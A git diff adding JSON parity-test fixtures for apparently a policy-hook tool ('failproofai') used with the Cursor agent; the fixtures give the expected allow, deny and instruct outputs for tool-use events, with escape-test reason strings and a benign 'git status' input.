a/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..83fbe867 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolBatch/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolBatch", + "input": { + "event_type": "PostToolBatch", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolBatch", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolBatch", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..28eacb5c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..86dd14a8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..0fa25548 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..06dc9865 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..320fa8cb --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..ee526751 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..386f4d83 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..d0cce1de --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..f38c8b10 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..85957ff6 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-present__one-policy.json new file mode 100644 index 00000000..9edb3778 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-present__two-policies.json new file mode 100644 index 00000000..3fae5f16 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..c3248601 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..7ef03c65 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..f63d774e --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..e8241516 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUse/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "PostToolUse", + "input": { + "event_type": "PostToolUse", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUse", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUse", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..cb3afcef --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "PostToolUseFailure", + "input": { + "event_type": "PostToolUseFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostToolUseFailure", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostToolUseFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..b6cb9689 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/PostToolUseFailure/allow-silent__tool-absent__two-policies.json @@ 